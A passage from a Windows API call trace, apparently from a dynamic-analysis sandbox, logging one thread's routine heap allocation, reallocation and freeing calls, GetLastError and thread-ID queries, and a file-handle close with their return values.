hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b63dc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b63dc*=0) returned 0x789afd [0074.840] GetLastError () returned 0x0 [0074.840] GetCurrentThreadId () returned 0x9b0 [0074.840] GetLastError () returned 0x0 [0074.840] GetLastError () returned 0x0 [0074.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc44d8 | out: hHeap=0x2ad0000) returned 1 [0074.840] CloseHandle (hObject=0x1ec) returned 1 [0074.840] GetLastError () returned 0x0 [0074.840] GetCurrentThreadId () returned 0x9b0 [0074.840] GetLastError () returned 0x0 [0074.840] GetLastError () returned 0x0 [0074.840] GetCurrentThreadId () returned 0x9b0 [0074.840] GetLastError () returned 0x0 [0074.841] GetLastError () returned 0x0 [0074.841] GetCurrentThreadId () returned 0x9b0 [0074.841] GetLastError () returned 0x0 [0074.842] GetLastError () returned 0x0 [0074.842] GetCurrentThreadId () returned 0x9b0 [0074.842] GetLastError () returned 0x0 [0074.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302f368 | out: hHeap=0x2ad0000) returned 1 [0074.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30eddd8, Size=0xda8f) returned 0x30eddd8 [0074.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2589) returned 0x2cbc818 [0074.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1f64) returned 0x30fb870 [0074.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8130, Size=0x20) returned 0x2a1fb78 [0074.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18f80 [0074.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f80, Size=0x64) returned 0x2a199d8 [0074.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a199d8, Size=0x8c) returned 0x2ac0748 [0074.842] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0748, Size=0xb8) returned 0x2ac9350 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9350, Size=0xe8) returned 0x2c375c8 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375c8, Size=0x120) returned 0x2cb6628 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6628, Size=0x160) returned 0x2cb7310 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7310, Size=0x1a8) returned 0x2cb8868 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8868, Size=0x1f8) returned 0x2c30bb8 [0074.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x202) returned 0x2cbedb0 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30bb8, Size=0x250) returned 0x2ac3fc0 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3fc0, Size=0x2b4) returned 0x2c2c730 [0074.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2cd) returned 0x2cbefc0 [0074.843] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c730, Size=0x324) returned 0x2bab5e0 [0074.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3eb) returned 0x2aa2198 [0074.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x30fd7e0 [0074.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fd7e0 | out: hHeap=0x2ad0000) returned 1 [0074.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x30fd7e0 [0074.844] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab5e0, Size=0x3a4) returned 0x2aa2590 [0074.844] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0x434) returned 0x2aa2590 [0074.844] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0x4d4) returned 0x2aa2590 [0074.844] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0x588) returned 0x2aa2590 [0074.845] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0x654) returned 0x2aa2590 [0074.845] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0x738) returned 0x2aa2590 [0074.845] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0x838) returned 0x2aa2590 [0074.845] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0x958) returned 0x2aa2590 [0074.846] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0xa9c) returned 0x2aa2590 [0074.846] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0xc0c) returned 0x2aa2590 [0074.846] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0xda8) returned 0x2aa2590 [0074.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a91d78 [0074.846] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2590, Size=0xf78) returned 0x2aa2590 [0074.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a92d18 [0074.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa7f) returned 0x313d7e8 [0074.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2590 | out: hHeap=0x2ad0000) returned 1 [0074.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30eddd8 | out: hHeap=0x2ad0000) returned 1 [0074.846] GetCurrentThreadId () returned 0x9b0 [0074.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0074.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0074.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7fc0 [0074.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7fc0 | out: hHeap=0x2ad0000) returned 1 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ab0 [0074.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ab0 | out: hHeap=0x2ad0000) returned 1 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0074.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0074.847] GetCurrentThreadId () returned 0x9b0 [0074.848] GetCurrentThreadId () returned 0x9b0 [0074.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.848] GetCurrentThreadId () returned 0x9b0 [0074.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5c) returned 0x2cd0bf8 [0074.848] GetCurrentThreadId () returned 0x9b0 [0074.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8998 [0074.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8998 | out: hHeap=0x2ad0000) returned 1 [0074.848] GetCurrentThreadId () returned 0x9b0 [0074.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18e18 [0074.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a981f8 [0074.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbca88 | out: hHeap=0x2ad0000) returned 1 [0074.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18e18 | out: hHeap=0x2ad0000) returned 1 [0074.848] GetCurrentThreadId () returned 0x9b0 [0074.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.848] GetCurrentThreadId () returned 0x9b0 [0074.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.848] GetCurrentThreadId () returned 0x9b0 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.849] GetCurrentThreadId () returned 0x9b0 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8178 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7fe0, Size=0x20) returned 0x2a1fb78 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18c20 [0074.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afc0 [0074.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8178 | out: hHeap=0x2ad0000) returned 1 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8178 [0074.850] GetCurrentThreadId () returned 0x9b0 [0074.850] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8178, Size=0x20) returned 0x2a1fb78 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a193b8 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.851] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8148, Size=0x20) returned 0x2a1fb78 [0074.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b040 [0074.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0074.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b040 | out: hHeap=0x2ad0000) returned 1 [0074.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b050 [0074.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.851] GetCurrentThreadId () returned 0x9b0 [0074.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.852] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18ef0 [0074.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0074.852] GetCurrentThreadId () returned 0x9b0 [0074.852] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ef0, Size=0x64) returned 0x2a19818 [0074.852] GetCurrentThreadId () returned 0x9b0 [0074.852] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0e68 [0074.852] GetCurrentThreadId () returned 0x9b0 [0074.852] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x2ac9a10 [0074.852] GetCurrentThreadId () returned 0x9b0 [0074.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ffb8 [0074.852] GetCurrentThreadId () returned 0x9b0 [0074.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetCurrentThreadId () returned 0x9b0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] GetLastError () returned 0x0 [0074.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0074.853] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9a10, Size=0xe8) returned 0x2c36f38 [0074.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f920 | out: hHeap=0x2ad0000) returned 1 [0074.854] GetCurrentThreadId () returned 0x9b0 [0074.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7188 [0074.854] GetCurrentThreadId () returned 0x9b0 [0074.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.854] GetCurrentThreadId () returned 0x9b0 [0074.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.854] GetLastError () returned 0x0 [0074.855] GetLastError () returned 0x0 [0074.855] GetLastError () returned 0x0 [0074.855] GetLastError () returned 0x0 [0074.855] GetLastError () returned 0x0 [0074.855] GetLastError () returned 0x0 [0074.855] GetLastError () returned 0x0 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7188 | out: hHeap=0x2ad0000) returned 1 [0074.855] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c36f38, Size=0x12c) returned 0x2cbc4b8 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0074.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca7fe0 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.855] GetCurrentThreadId () returned 0x9b0 [0074.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a193b8 | out: hHeap=0x2ad0000) returned 1 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18c20 | out: hHeap=0x2ad0000) returned 1 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a95dc8 [0074.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0f0d0 | out: hHeap=0x2ad0000) returned 1 [0074.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2aa2590 [0074.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.856] GetCurrentThreadId () returned 0x9b0 [0074.856] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x50) returned 0x2acd120 [0074.856] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acd120, Size=0x74) returned 0x2cd7f08 [0074.856] GetCurrentThreadId () returned 0x9b0 [0074.856] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd7f08, Size=0x9c) returned 0x2cd7f08 [0074.856] GetCurrentThreadId () returned 0x9b0 [0074.856] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd7f08, Size=0xcc) returned 0x2cd7f08 [0074.856] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cd7f08, Size=0x100) returned 0x2cbc4b8 [0074.856] GetCurrentThreadId () returned 0x9b0 [0074.856] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cbc4b8, Size=0x13c) returned 0x2c81978 [0074.856] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81978, Size=0x180) returned 0x2ba6060 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6060, Size=0x1cc) returned 0x2baad50 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baad50, Size=0x220) returned 0x2aa2998 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2998, Size=0x280) returned 0x2aa2998 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2998, Size=0x2ec) returned 0x2aa2998 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2998, Size=0x364) returned 0x2aa2998 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2998, Size=0x3ec) returned 0x2aa2998 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] GetCurrentThreadId () returned 0x9b0 [0074.857] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aa2998, Size=0x484) returned 0x2aa2998 [0074.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2590 | out: hHeap=0x2ad0000) returned 1 [0074.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2998 | out: hHeap=0x2ad0000) returned 1 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a99a18 [0074.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbca88 | out: hHeap=0x2ad0000) returned 1 [0074.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3000) returned 0x30e5db8 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc000) returned 